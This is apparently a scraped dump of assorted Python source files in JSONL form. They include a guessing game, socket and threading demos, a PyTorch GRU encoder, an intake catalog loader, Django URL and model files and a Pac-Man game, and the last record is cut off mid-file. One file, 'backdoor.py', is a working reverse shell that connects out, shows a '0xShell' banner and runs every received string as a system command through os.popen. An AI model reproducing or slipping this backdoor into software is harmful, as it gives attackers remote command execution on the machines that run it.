of guesses used.\n :param count: int\n\n >>> win_message(3)\n Congratulations! You guessed it right.\n You have guessed 3 time(s).\n '''\n print(\"Congratulations! You guessed it right.\")\n print(\"You have guessed {0} time(s).\".format(count))\n\ndef display_report(guess_count, guess, correct_nums_count, correct_positions_count):\n '''\n Displays the progress report for each guess the user makes.\n :param guess_count: int\n :param guess: int\n :param correct_nums_count: int\n :param correct_positions_count: int\n '''\n print(\"You have guessed {0} time(s).\\nYour guess is {1}.\\nYou have {2} correct numbers.\\n{3} of your numbers are in the correct positions as the secret code.\".format(guess_count, guess, correct_nums_count, correct_positions_count))\n\n\ndef game():\n \"\"\"\n The main game function\n \"\"\"\n secret_code = get_secret_code()\n guess_count = 0\n max_guess_count = 7\n condition = True\n print(\"Please remember that you only have {0} total guesses.\".format(max_guess_count))\n\n while condition:\n guess_code = get_guess_code()\n guess_count += 1\n if secret_code != guess_code:\n if guess_count > max_guess_count:\n print(\"Bummer! You have reached the maximum guessing limit. Please try again.\")\n return\n count_of_correct_guess_numbers = count_of_secret_code_in_guess(secret_code, guess_code)\n count_of_correct_guess_numbers_position = count_of_guess_code_positions(secret_code, guess_code)\n display_report(guess_count, guess_code, count_of_correct_guess_numbers, count_of_correct_guess_numbers_position)\n continue_game = input(\"Please enter 'q' or 'Q' to quit and anything else to continue.\\n\").lower()\n if continue_game == 'q':\n print(\"You have lost the game by resignation. What a shame!\")\n return\n else:\n return win_message(guess_count)\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()\n game()\n","sub_path":"number-guessing-game/number-guessing.py","file_name":"number-guessing.py","file_ext":"py","file_size_in_byte":4455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"128002854","text":"import socket\nimport threading\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(('192.168.31.156', 5037))\nserver.listen(5)\nprint('服务器启动成功...')\n\ndef run(ck):\n data = client_socket.recv(1024)\n print('客户端说:' + data.decode('utf-8'))\n #send_data = input('输入返回给客户端的数据')\n client_socket.send('good luck'.encode('utf-8'))\n\nwhile True:\n client_socket, client_address = server.accept()\n print('{}--{}run success...'.format(str(client_socket), str(client_address)))\n #print('connect success')\n t = threading.Thread(target=run, args=(client_socket,))\n t.start()\n\n\n\n\n\n\n\n '''\n data = client_socket.recv(1024)\n print('recv' + str(client_socket) + data.decode('utf-8'))\n client_socket.send(b'good luck!')\n '''\n\n","sub_path":"python/Process,Thread/多线程-网络.py","file_name":"多线程-网络.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"552396778","text":"import torch\r\nimport torch.autograd as autograd\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nclass GRUEncoder(nn.Module):\r\n def __init__(self, input_dim, hidden_dim):\r\n super(GRUEncoder, self).__init__()\r\n\r\n self.input_dim = input_dim\r\n self.hidden_dim = hidden_dim\r\n\r\n # bigru encoder\r\n self.gru = nn.GRU(input_dim, hidden_dim, bidirectional=True)\r\n self.hidden = self.init_hidden()\r\n\r\n\r\n def init_hidden(self):\r\n return nn.Parameter(torch.zeros(2, 1, self.hidden_dim))\r\n\r\n def forward(self, text_embeddings, text_lengths):\r\n text_embeddings = torch.nn.utils.rnn.pack_padded_sequence(text_embeddings, text_lengths, batch_first=True)\r\n gru_out, _ = self.gru(text_embeddings, self.hidden) # [seq_len, batch_size, 2 * hidden_dim]\r\n gru_out = torch.nn.utils.rnn.pad_packed_sequence(gru_out, batch_first=True, padding_value=0.0, total_length=None)[0]\r\n return gru_out\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n encoder = GRUEncoder(5, 3)\r\n text = torch.randn(1, 10, 5)\r\n length = torch.LongTensor([7])\r\n print(\"text\")\r\n print(text)\r\n out = encoder(text, length)\r\n print(\"out\")\r\n print(out)\r\n","sub_path":"src/model/layers/GRUEncoder.py","file_name":"GRUEncoder.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"58290775","text":"import os,socket\nhost = \"127.0.0.1\"\nport = 444\ndata = 512\ns= socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host,port))\n#print s.recv(512)\ns.send('''\n <=========================>\n #{+}0xShell#\n <=========================>\\nshell:~$''')\nwhile 1:\n data = s.recv(512)\n if \"q\" == data.lower():\n s.close()\n break;\n else:\n if data.startswith('cd'):\n os.chdir(data[3:].replace('\\n',''))\n s.send(\"-> \"+str(os.getcwd()))\n result='\\n'\n else:\n result=os.popen(data).read()\n if (data.lower() != \"q\"):\n s.send(str(result)+\"shell:~$\")\n else:\n s.send(str(result))\n s.close()\n break;\nexit()\n","sub_path":"backdoor.py","file_name":"backdoor.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"28537266","text":"import glob\nimport inspect\nimport logging\nimport os\nimport os.path\nimport runpy\nimport yaml\n\nfrom ruamel_yaml.constructor import DuplicateKeyError\n\nfrom jinja2 import Template\nimport six\nfrom dask.bytes import open_files\n\nfrom . import exceptions\nfrom .entry import CatalogEntry\nfrom ..source import registry as global_registry\nfrom ..source.base import Plugin\nfrom ..source.discovery import load_plugins_from_module\nfrom .utils import expand_templates, expand_defaults, coerce, COERCION_RULES\n\n\nlogger = logging.getLogger('intake')\n\n\nclass UserParameter(object):\n \"\"\"\n A user-settable item that is passed to a DataSource upon instantiation.\n\n For string parameters, default may include special functions ``func(args)``,\n which *may* be expanded from environment variables or by executing a shell\n command.\n\n Parameters\n ----------\n name: str\n the key that appears in the DataSource argument strings\n description: str\n narrative text\n type: str\n one of list``(COERSION_RULES)``\n default: type value\n same type as ``type``. It a str, may include special functions\n env, shell, client_env, client_shell.\n min, max: type value\n for validation of user input\n allowed: list of type\n for validation of user input\n \"\"\"\n def __init__(self, name, description, type, default=None, min=None,\n max=None, allowed=None):\n self.name = name\n self.description = description\n self.type = type\n self.min = min\n self.max = max\n self.allowed = allowed\n\n self._default = default\n try:\n self.default = coerce(self.type, default)\n except (ValueError, TypeError):\n self.default = None\n\n if self.min:\n self.min = coerce(self.type, self.min)\n\n if self.max:\n self.max = coerce(self.type, self.max)\n\n if self.allowed:\n self.allowed = [coerce(self.type, item)\n for item in self.allowed]\n\n def describe(self):\n desc = {\n 'name': self.name,\n 'description': self.description,\n 'type': self.type,\n 'default': self.default\n }\n for attr in ['min', 'max', 'allowed']:\n v = getattr(self, attr)\n if v is not None:\n desc[attr] = v\n return desc\n\n def expand_defaults(self, client=False, getenv=True, getshell=True):\n \"\"\"Compile env, client_env, shell and client_shell commands\n \"\"\"\n if not isinstance(self._default, six.string_types):\n return\n self.default = coerce(self.type, expand_defaults(\n self._default, client, getenv, getshell))\n\n def validate(self, value):\n value = coerce(self.type, value)\n\n if self.min is not None and value < self.min:\n raise ValueError('%s=%s is less than %s' % (self.name, value,\n self.min))\n if self.max is not None and value > self.max:\n raise ValueError('%s=%s is greater than %s' % (\n self.name, value, self.max))\n if self.allowed is not None and value not in self.allowed:\n raise ValueError('%s=%s is not one of the allowed values: %s' % (\n self.name, value, ','.join(map(str, self.allowed))))\n\n return value\n\n\nclass LocalCatalogEntry(CatalogEntry):\n def __init__(self, name, description, driver, direct_access, args,\n parameters, metadata, catalog_dir, getenv=True, getshell=True):\n self._name = name\n self._description = description\n self._driver = driver\n self._direct_access = direct_access\n self._open_args = args\n self._user_parameters = parameters\n self._metadata = metadata\n self._catalog_dir = catalog_dir\n self._plugin = None\n super(LocalCatalogEntry, self).__init__(\n getenv=getenv, getshell=getshell)\n\n @property\n def name(self):\n return self._name\n\n def find_plugin(self, registry):\n if self._driver in registry:\n self._plugin = registry[self._driver]\n else:\n self._plugin = global_registry[self._driver]\n\n def describe(self):\n return {\n 'container': self._plugin.container,\n 'description': self._description,\n 'direct_access': self._direct_access,\n 'user_parameters': [u.describe() for u in self._user_parameters]\n }\n\n def _create_open_args(self, user_parameters):\n params = {'CATALOG_DIR': self._catalog_dir}\n for parameter in self._user_parameters:\n if parameter.name in user_parameters:\n params[parameter.name] = parameter.validate(\n user_parameters[parameter.name])\n else:\n parameter.expand_defaults(getenv=self.getenv,\n getshell=self.getshell)\n params[parameter.name] = parameter.default\n\n open_args = expand_templates(self._open_args, params)\n open_args['metadata'] = self._metadata\n\n return open_args\n\n def describe_open(self, **user_parameters):\n return {\n 'plugin': self._plugin.name,\n 'description': self._description,\n 'direct_access': self._direct_access,\n 'metadata': self._metadata,\n 'args': self._create_open_args(user_parameters)\n }\n\n def get(self, **user_parameters):\n open_args = self._create_open_args(user_parameters)\n data_source = self._plugin.open(**open_args)\n\n return data_source\n\n\nclass PluginSource(object):\n def __init__(self, type, source):\n self.type = type\n self.source = source\n\n def _load_from_module(self):\n return load_plugins_from_module(self.source)\n\n def _load_from_dir(self):\n plugins = {}\n pyfiles = glob.glob(os.path.join(self.source, '*.py'))\n\n for filename in pyfiles:\n try:\n globs = runpy.run_path(filename)\n for name, o in globs.items():\n # Don't try to register plugins imported into this module\n # from somewhere else\n if inspect.isclass(o) and issubclass(\n o, Plugin) and o.__module__ == '':\n p = o()\n plugins[p.name] = p\n # If no exceptions, continue to next filename\n continue\n except Exception as ex:\n logger.warning('When importing {}:\\n{}'.format(filename, ex))\n\n import imp\n base = os.path.splitext(filename)[0]\n mod = imp.load_source(base, filename)\n for name in mod.__dict__:\n obj = getattr(mod, name)\n # Don't try to register plugins imported into this module\n # from somewhere else\n if inspect.isclass(obj) and issubclass(\n obj, Plugin) and obj.__module__ == base:\n p = obj()\n plugins[p.name] = p\n\n return plugins\n\n def load(self):\n if self.type == 'module':\n return self._load_from_module()\n elif self.type == 'dir':\n return self._load_from_dir()\n return {}\n\n\ndef no_duplicates_constructor(loader, node, deep=False):\n \"\"\"Check for duplicate keys while loading YAML\n\n https://gist.github.com/pypt/94d747fe5180851196eb\n \"\"\"\n\n mapping = {}\n for key_node, value_node in node.value:\n key = loader.construct_object(key_node, deep=deep)\n value = loader.construct_object(value_node, deep=deep)\n if key in mapping:\n raise DuplicateKeyError(\"while constructing a mapping\",\n node.start_mark,\n \"found duplicate key (%s)\" % key,\n key_node.start_mark)\n mapping[key] = value\n\n return loader.construct_mapping(node, deep)\n\n\nyaml.add_constructor(yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG,\n no_duplicates_constructor)\n\n\nclass CatalogParser(object):\n def __init__(self, data, getenv=True, getshell=True, context=None):\n self._context = context if context else {}\n self._errors = []\n self._warnings = []\n self.getenv = getenv\n self.getshell = getshell\n self._data = self._parse(data)\n\n @property\n def ok(self):\n return len(self._errors) == 0\n\n @property\n def data(self):\n return self._data\n\n @property\n def errors(self):\n return self._errors\n\n @property\n def warnings(self):\n return self._warnings\n\n def error(self, msg, obj, key=None):\n if key is not None:\n self._errors.append(str((msg, obj, key)))\n else:\n self._errors.append(str((msg, obj)))\n\n def warning(self, msg, obj, key=None):\n if key is None:\n self._warnings.append(str((msg, obj)))\n else:\n self._warnings.append(str((msg, obj, key)))\n\n def _parse_plugin(self, obj, key):\n if not isinstance(obj[key], six.string_types):\n self.error(\"value of key '{}' must be either be a string or \"\n \"template\".format(key), obj, key)\n return None\n\n extra_keys = set(obj) - set([key])\n for key in extra_keys:\n self.warning(\"key '{}' defined but not needed\".format(key), key)\n\n return PluginSource(type=key, source=obj[key])\n\n def _parse_plugins(self, data):\n sources = []\n\n if 'plugins' not in data:\n return sources\n\n if not isinstance(data['plugins'], dict):\n self.error(\"value of key 'plugins' must be a dictionary\", data,\n 'plugins')\n return sources\n\n if 'source' not in data['plugins']:\n self.error(\"missing key 'source'\", data['plugins'])\n return sources\n\n if not isinstance(data['plugins']['source'], list):\n self.error(\"value of key 'source' must be a list\", data['plugins'],\n 'source')\n return sources\n\n for plugin_source in data['plugins']['source']:\n if not isinstance(plugin_source, dict):\n self.error(\"value in list of plugins sources must be a \"\n \"dictionary\", data['plugins'], 'source')\n continue\n\n if 'module' in plugin_source and 'dir' in plugin_source:\n self.error(\"keys 'module' and 'dir' both exist (select only \"\n \"one)\", plugin_source)\n elif 'module' in plugin_source:\n obj = self._parse_plugin(plugin_source, 'module')\n if obj:\n sources.append(obj)\n elif 'dir' in plugin_source:\n obj = self._parse_plugin(plugin_source, 'dir')\n if obj:\n sources.append(obj)\n else:\n self.error(\"missing one of the available keys ('module' or \"\n \"'dir')\", plugin_source)\n\n return sources\n\n def _getitem(self, obj, key, dtype, required=True, default=None,\n choices=None):\n if key in obj:\n if isinstance(obj[key], dtype):\n if choices and obj[key] not in choices:\n self.error(\"value '{}' is invalid (choose from {})\".format(\n obj[key], choices), obj, key)\n else:\n return obj[key]\n else:\n self.error(\"value '{}' is not expected type '{}'\".format(\n obj[key], dtype.__name__), obj, key)\n return None\n elif required:\n self.error(\"missing required key '{}'\".format(key), obj)\n return None\n elif default:\n return default\n\n return None if dtype is object else dtype()\n\n def _parse_user_parameter(self, name, data):\n valid_types = list(COERCION_RULES)\n\n params = {\n 'name': name,\n 'description': self._getitem(data, 'description', str),\n 'type': self._getitem(data, 'type', str, choices=valid_types),\n 'default': self._getitem(data, 'default', object, required=False),\n 'min': self._getitem(data, 'min', object, required=False),\n 'max': self._getitem(data, 'max', object, required=False),\n 'allowed': self._getitem(data, 'allowed', object, required=False)\n }\n\n if params['description'] is None or params['type'] is None:\n return None\n\n return UserParameter(**params)\n\n def _parse_data_source(self, name, data):\n ds = {\n 'name': name,\n 'description': self._getitem(data, 'description', str,\n required=False),\n 'driver': self._getitem(data, 'driver', str),\n 'direct_access': self._getitem(\n data, 'direct_access', str, required=False, default='forbid',\n choices=['forbid', 'allow', 'force']),\n 'args': self._getitem(data, 'args', dict, required=False),\n 'metadata': self._getitem(data, 'metadata', dict, required=False)\n }\n\n if ds['driver'] is None:\n return None\n\n ds['parameters'] = []\n\n if 'parameters' in data:\n if isinstance(data['parameters'], list):\n raise exceptions.ObsoleteParameterError\n\n if not isinstance(data['parameters'], dict):\n self.error(\"value of key 'parameters' must be a dictionary\",\n data, 'parameters')\n return None\n\n for name, parameter in data['parameters'].items():\n if not isinstance(name, str):\n self.error(\"key '{}' must be a string\".format(name),\n data['parameters'], name)\n continue\n\n if not isinstance(parameter, dict):\n self.error(\"value of key '{}' must be a dictionary\"\n \"\".format(name), data['parameters'], name)\n continue\n\n obj = self._parse_user_parameter(name, parameter)\n if obj:\n ds['parameters'].append(obj)\n\n return LocalCatalogEntry(catalog_dir=self._context['root'],\n getenv=self.getenv, getshell=self.getshell,\n **ds)\n\n def _parse_data_sources(self, data):\n sources = []\n\n if 'sources' not in data:\n self.error(\"missing key 'sources'\", data)\n return sources\n\n if isinstance(data['sources'], list):\n raise exceptions.ObsoleteDataSourceError\n\n if not isinstance(data['sources'], dict):\n self.error(\"value of key 'sources' must be a dictionary\", data,\n 'sources')\n return sources\n\n for name, source in data['sources'].items():\n if not isinstance(name, str):\n self.error(\"key '{}' must be a string\".format(name),\n data['sources'], name)\n continue\n\n if not isinstance(source, dict):\n self.error(\"value of key '{}' must be a dictionary\"\n \"\".format(name), data['sources'], name)\n continue\n\n obj = self._parse_data_source(name, source)\n if obj:\n sources.append(obj)\n\n return sources\n\n def _parse(self, data):\n if not isinstance(data, dict):\n self.error(\"catalog must be a dictionary\", data)\n return\n\n return dict(\n plugin_sources=self._parse_plugins(data),\n data_sources=self._parse_data_sources(data),\n metadata=data.get('metadata', {})\n )\n\n\nclass CatalogConfig(object):\n def __init__(self, path, getenv=True, getshell=True, storage_options=None):\n self._path = path\n\n # First, we load from YAML, failing if syntax errors are found\n options = storage_options or {}\n if hasattr(path, 'path') or hasattr(path, 'read'):\n file_open = path\n self._path = getattr(path, 'path', getattr(path, 'name', 'file'))\n else:\n file_open = open_files(self._path, mode='rb', **options)\n assert len(file_open) == 1\n file_open = file_open[0]\n if file_open.path.startswith('http'):\n # do not reload from HTTP\n self.token = file_open.path\n else:\n self.token = file_open.fs.ukey(file_open.path)\n self._name = os.path.splitext(os.path.basename(\n self._path))[0].replace('.', '_')\n self._dir = os.path.dirname(self._path)\n with file_open as f:\n text = f.read().decode()\n if \"!template \" in text:\n logger.warning(\"Use of '!template' deprecated - fixing\")\n text = text.replace('!template ', '')\n try:\n data = yaml.load(text)\n except DuplicateKeyError as e:\n # Wrap internal exception with our own exception\n raise exceptions.DuplicateKeyError(e)\n\n if data is None:\n raise exceptions.CatalogException('No YAML data in file')\n # Second, we validate the schema and semantics\n context = dict(root=self._dir)\n result = CatalogParser(data, context=context, getenv=getenv,\n getshell=getshell)\n if result.errors:\n errors = [\"line {}, column {}: {}\".format(*error)\n for error in result.errors]\n raise exceptions.ValidationError(\n \"Catalog '{}' has validation errors:\\n\\n{}\"\n \"\".format(path, \"\\n\".join(errors)), result.errors)\n\n cfg = result.data\n\n # Finally, we create the plugins and entries. Failure is still possible.\n params = dict(CATALOG_DIR=self._dir)\n\n self._plugins = {}\n for ps in cfg['plugin_sources']:\n ps.source = Template(ps.source).render(params)\n self._plugins.update(ps.load())\n\n self._entries = {}\n for entry in cfg['data_sources']:\n entry.find_plugin(self._plugins)\n self._entries[entry.name] = entry\n\n self.metadata = cfg.get('metadata', {})\n\n @property\n def name(self):\n return self._name\n\n @property\n def plugins(self):\n return self._plugins\n\n @property\n def entries(self):\n return self._entries\n","sub_path":"intake/catalog/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":18750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"212118593","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n'''\n@version:\n@author: leo Yang\n@license: none\n@contact: yangliw3@foxmail.com\n@site:\n@software:PyCharm\n@file:urls.py\n@time(UTC+8):16/7/29-12:28\n'''\n\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^login/$', views.login, name=\"login\"),\n url(r'^login_auto/$', views.login_autogen_html, name=\"login_auto\"),\n url(r'^main/$', views.main, name=\"main\"),\n url(r'^index/$', views.index, name=\"index\"),\n url(r'^session_index/$', views.session_index, name=\"session_index\"),\n url(r'^session_login/$', views.session_login, name=\"session_login\"),\n url(r'^session_logout/$', views.session_logout, name=\"session_logout\"),\n\n # url(r'^.*$', views.login, name=\"login\"),\n\n\n # url(r'^.*', views.redirect_default, name=\"default\"),\n # url(r'^detail/([0-9]+)', views.detail, name=\"detail\"),\n # url(r'^detail/', views.detail, name=\"detail\"),\n # url(r'^choice/(?P[0-9]+)', views.choice, name=\"choice\"),\n # url(r'^choice/', views.choice, name=\"choice\"),\n # url(r'^result/', views.result, name=\"result\"),\n]\n","sub_path":"myblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"455642697","text":"from math import ceil\nfrom maze import Maze\nfrom pacman_graphics import PacManGraphics, Food, PowerPellet\nfrom pacman_utils import *\n\n\nUPDATE_AFTER = 200\nPACMAN_SPEED = 1.0 # cell per time interval\nTIME_PENALTY = 1\nFOOD_POINTS = 10\nEAT_GHOST_POINTS = 200\nGHOST_SPEED = 1.0 # cell per time interval\nSCARED_GHOST_SPEED = 0.125 # cell per time interval\nSCARED_GHOST_TIME = 40\n\n\nclass PacManGame:\n\tglobal EAT_GHOST_POINTS\n\n\tdef __init__(self, pacman_controller, root=None):\n\t\tself.maze = Maze()\n\t\tif root is not None:\n\t\t\tself.display_graphics = True\n\t\t\tself.graphics = PacManGraphics(root, self.maze)\n\t\telse:\n\t\t\tself.display_graphics = False\n\t\tself.agents = [PacManAgent(pacman_controller, self.maze), *[GhostAgent(ghost, self.maze) for ghost in self.maze.ghosts]]\n\t\tself.timer = -1\n\t\tself.status = 0 # -1: Pac-Man loses, 0: game is running, 1: Pac-Man wins\n\n\tdef update_agents(self):\n\t\t# Check for a collision between Pac-Man and any of the ghosts\n\t\tself.agent_collision()\n\t\t\n\t\t# Check the status of the game\n\t\tif self.status == 1 or self.status == -1:\n\t\t\t# The game is over\n\t\t\treturn\n\n\t\t# Update Pac-Man\n\t\tif self.agents[0].update():\n\t\t\tif self.timer < 0:\n\t\t\t\tself.timer = SCARED_GHOST_TIME\n\t\t\telse:\n\t\t\t\tself.timer += SCARED_GHOST_TIME\n\t\t\tfor ghost in self.agents[1:]: \n\t\t\t\tghost.is_scared = True\n\t\t\t\tif self.display_graphics: ghost.agent.change_color('blue')\n\t\tself.timer -= 1\n\t\tif self.timer == 0:\n\t\t\tfor ghost in self.agents[1:]:\n\t\t\t\tghost.is_scared = False\n\t\t\t\tif self.display_graphics: ghost.agent.change_color(ghost.agent.color)\n\t\tif self.maze.n_dots_left == 0: self.status = 1\n\n\t\t# Update the ghosts\n\t\tfor ghost in self.agents[1:]:\n\t\t\tif self.timer == 0 and ghost.agent.position not in self.maze.cells:\n\t\t\t\t# The ghost just became dangerous again. If it is between two cells, it should be moved to the next cell\n\t\t\t\tghost.move_to_next_cell()\n\t\t\telse:\n\t\t\t\tghost.update()\n\n\tdef agent_collision(self):\n\t\tfor ghost in self.agents[1:]:\n\t\t\tif self.interaction(ghost):\n\t\t\t\tif ghost.is_scared:\n\t\t\t\t\tghost.agent.move_to_cave()\n\t\t\t\t\tghost.agent.change_color(ghost.agent.color)\n\t\t\t\t\tghost.is_scared = False\n\t\t\t\t\tself.agents[0].score += EAT_GHOST_POINTS\n\t\t\t\telse:\n\t\t\t\t\tself.status = -1\n\n\tdef interaction(self, ghost):\n\t\tpacman_position = self.agents[0].agent.position\n\t\tghost_position = ghost.agent.position\n\t\tmanhattan_distance = get_manhattan_distance(pacman_position, ghost_position)\n\t\tif manhattan_distance < 1:\n\t\t\treturn True\n\t\tpacman_direction = self.agents[0].direction\n\t\tghost_direction = ghost.direction \n\t\tif manhattan_distance == 1 and pacman_direction == get_reverse_direction(ghost_direction):\n\t\t\t# We must check if the ghost and the Pac-Man just passed each other\n\t\t\tif pacman_position == add(ghost_position, get_reverse_direction(ghost_direction)):\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef start(self):\n\t\tif self.display_graphics: self.graphics.start()\n\t\tself.update()\n\n\tdef update(self):\n\t\tif self.display_graphics:\n\t\t\tself.update_agents()\n\t\t\tif self.status == 1 or self.status == -1:\n\t\t\t\tself.graphics.quit()\n\t\t\t\treturn\n\t\t\tself.graphics.update_scoreboard(self.agents[0].score)\n\t\t\tself.graphics.canvas.canvas.after(UPDATE_AFTER, self.update)\n\t\telse:\n\t\t\tpass\n\n\nclass PacManAgent:\n\tglobal PACMAN_SPEED, TIME_PENALTY, FOOD_POINTS\n\n\tspeed = PACMAN_SPEED\n\n\tdef __init__(self, controller, maze):\n\t\tself.controller = controller\n\t\tself.maze = maze\n\t\tself.agent = maze.pacman\n\t\tself.cells = maze.cells\n\t\tself.direction = None\n\t\tself.score = 0\n\n\t# def set_direction(self, direction):\n\t# \tif direction.value in self.get_legal_directions():\n\t# \t\tself.direction = direction.value\n\n\tdef update(self):\n\t\tself.update_position()\n\t\tself.score -= TIME_PENALTY\n\t\t# Check if Pac-Man has reached a cell that contains food or a power pellet\n\t\tcell = self.cells[self.agent.position]\n\t\tif isinstance(cell, Food) and cell.item is not None:\n\t\t\tcell.delete_item()\n\t\t\tself.maze.n_dots_left -= 1\n\t\t\tself.score += FOOD_POINTS\n\t\tif isinstance(cell, PowerPellet) and cell.item is not None:\n\t\t\tcell.delete_item()\n\t\t\treturn True\n\t\treturn False\n\n\tdef update_position(self):\n\t\tself.direction = self.controller.get_direction(self.direction, self.get_legal_directions())\n\t\tdisplacement = tuple(x * self.speed for x in self.direction)\n\t\tself.agent.move_item(displacement)\n\n\tdef get_legal_directions(self):\n\t\treturn [d.value for d in Direction if add(d.value, self.agent.position) in self.cells]\n\n\nclass GhostAgent:\n\tglobal GHOST_SPEED, SCARED_GHOST_SPEED\n\n\tdef __init__(self, ghost, maze):\n\t\tself.agent = ghost\n\t\tself.cells = maze.cells\n\t\tself.direction = None\n\t\tself.speed = GHOST_SPEED\n\t\tself.is_scared = False\n\n\tdef update(self):\n\t\tself.speed = SCARED_GHOST_SPEED if self.is_scared else GHOST_SPEED\n\t\tself.update_position()\n\n\tdef update_position(self):\n\t\tif self.is_scared and self.agent.position not in self.cells:\n\t\t\t# Let the direction be unchanged when the ghost is between cells\n\t\t\tpass\n\t\telse:\n\t\t\tself.direction = self.agent.get_direction(self.get_legal_directions())\n\t\tdisplacement = tuple(x * self.speed for x in self.direction)\n\t\tself.agent.move_item(displacement)\n\n\tdef move_to_next_cell(self):\n\t\tcurrent_position = self.agent.position\n\t\tif self.direction == Direction.RIGHT.value or self.direction == Direction.DOWN.value:\n\t\t\tnew_poisition = tuple(ceil(x) for x in current_position)\n\t\telse:\n\t\t\tnew_poisition = tuple(int(x) for x in current_position)\n\t\tdisplacement = subtract(new_poisition, current_position)\n\t\tself.agent.move_item(displacement)\n\n\tdef get_legal_directions(self):\n\t\tlegal_directions = [d.value for d in Direction if add(d.value, self.agent.position) in self.cells]\n\t\tif self.direction is None: return legal_directions\n\t\treverse_direction = get_reverse_direction(self.direction)\n\t\t# Ghosts cannot turn around\n\t\tif reverse_direction in legal_directions: legal_directions.remove(reverse_direction)\n\t\tif legal_directions:\n\t\t\t\treturn legal_directions\n\t\telse:\n\t\t\t# ... unless they get stuck in a dead end\n\t\t\treturn [reverse_direction]\n\n\ndef get_manhattan_distance(xy1, xy2):\n\treturn abs(xy1[0] - xy2[0]) + abs(xy1[1] - xy2[1])\n","sub_path":"pacman/pacman.py","file_name":"pacman.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"618541064","text":"'''\nCreated on Jul 29, 2010\n\n@author: behrooz\n'''\nfrom amscms.recaptcha.client import captcha\nfrom amscms import settings\n\ndef validate_captcha(request):\n captcha_response = captcha.submit(request.POST.get(\"recaptcha_challenge_field\", None),\n request.POST.get(\"recaptcha_response_field\", None),\n settings.RECAPTCHA_PRIVATE_KEY,\n request.META.get(\"REMOTE_ADDR\", None))\n if captcha_response.is_valid:\n return None\n else:\n captcha_error = \"&error=%s\" % captcha_response.error_code\n return captcha_error\n \n","sub_path":"amscms-project/src/amscms/core/utils/captcha.py","file_name":"captcha.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"35381768","text":"from django.db import models\nfrom django import forms \nfrom django.contrib.auth.models import User, AbstractBaseUser\nfrom django.core.exceptions import ValidationError\nfrom decimal import *\nimport datetime, math\nfrom django.utils import timezone\n\n\n# https://docs.djangoproject.com/en/1.7/ref/models/fields/\n\nDECIMAL_MAX_DIGITS = 9\nCATEGORY_CHOISES = (\n (\"Action\",\"Action\"),\n (\"Adventure\",\"Adventure\"),\n (\"Arcade\",\"Arcade\"),\n (\"Board\",\"Board Games\"),\n (\"Cards\",\"Cards\"),\n (\"Dice\",\"Dice\"),\n (\"Driving\",\"Driving\"),\n (\"Puzzle\",\"Puzzle\"),\n (\"Quiz\",\"Quiz\"),\n (\"RolePlaying\",\"Role Playing\"),\n (\"Sports\",\"Sports\"),\n (\"Strategy\",\"Strategy\"),\n (\"Teaching\",\"Teaching\"),\n (\"Words\",\"Words\"),\n )\n\nclass UserProfile(models.Model):\n user = models.OneToOneField(User)\n activation_key = models.CharField(max_length=40, blank=True)\n key_expires = models.DateTimeField(default=timezone.now())\n is_developer = models.BooleanField(default=False)\n previous_login = models.DateTimeField(null=True)\n\n def __str__(self):\n return self.user.username\n\nclass Game(models.Model):\n \n def validate_price(value):\n try:\n if math.isnan(value):\n raise ValidationError(str(value) + \" is not acceptable.\")\n elif (value < 0):\n raise ValidationError(str(value) + \" is not acceptable. Price cannot be negative.\")\n elif (value > 10**(DECIMAL_MAX_DIGITS-2) - 0.01):\n raise ValidationError(str(value) + \" is not acceptable. Price cannot be over \" + str(10**(DECIMAL_MAX_DIGITS-2) - 0.01) + \".\")\n except:\n raise ValidationError(str(value) + \" is not acceptable.\")\n\n def validate_dev(pk):\n developer = UserProfile.objects.get(pk=pk)\n try:\n if developer.is_developer == False:\n raise ValidationError(str(developer) + \" is not acceptable. Must be developer (is_developer=True).\")\n except:\n raise ValidationError(str(developer) + \" is not acceptable.\")\n \n name = models.CharField(max_length=200, unique=True, default=\"\")\n price = models.DecimalField(max_digits=DECIMAL_MAX_DIGITS, decimal_places=2, validators=[validate_price], default=0.00) # https://docs.python.org/3/library/decimal.html#module-decimal\n category = models.CharField(max_length=200, choices=CATEGORY_CHOISES, blank=False, null=False)\n url = models.URLField(max_length=200)\n description = models.TextField(default=\"\", null=False, blank=True)\n developer = models.ForeignKey('UserProfile', validators=[validate_dev], related_name=\"games\", null=True)\n time = models.DateTimeField(auto_now=True)\n\n def change_name(self, newName):\n self.name = newName\n self.full_clean()\n self.save()\n\n def change_price(self, newPrice):\n try:\n newRoundedPrice = round(newPrice, 2)\n self.price = Decimal(str(newPrice))\n self.full_clean()\n self.save()\n except:\n raise ValidationError(str(newPrice) + \" is not acceptable.\")\n\n def change_category(self, newCategory):\n self.category = newCategory\n self.full_clean()\n self.save()\n\n def change_url(self, newUrl):\n self.url = newUrl\n self.full_clean()\n self.save()\n\n def change_description(self, newDescription):\n self.description = newDescription\n self.full_clean()\n self.save()\n\n def get_average_stars(self):\n RatingQuery = self.ratings\n nofRating = RatingQuery.count()\n if (nofRating > 0):\n Ratings = 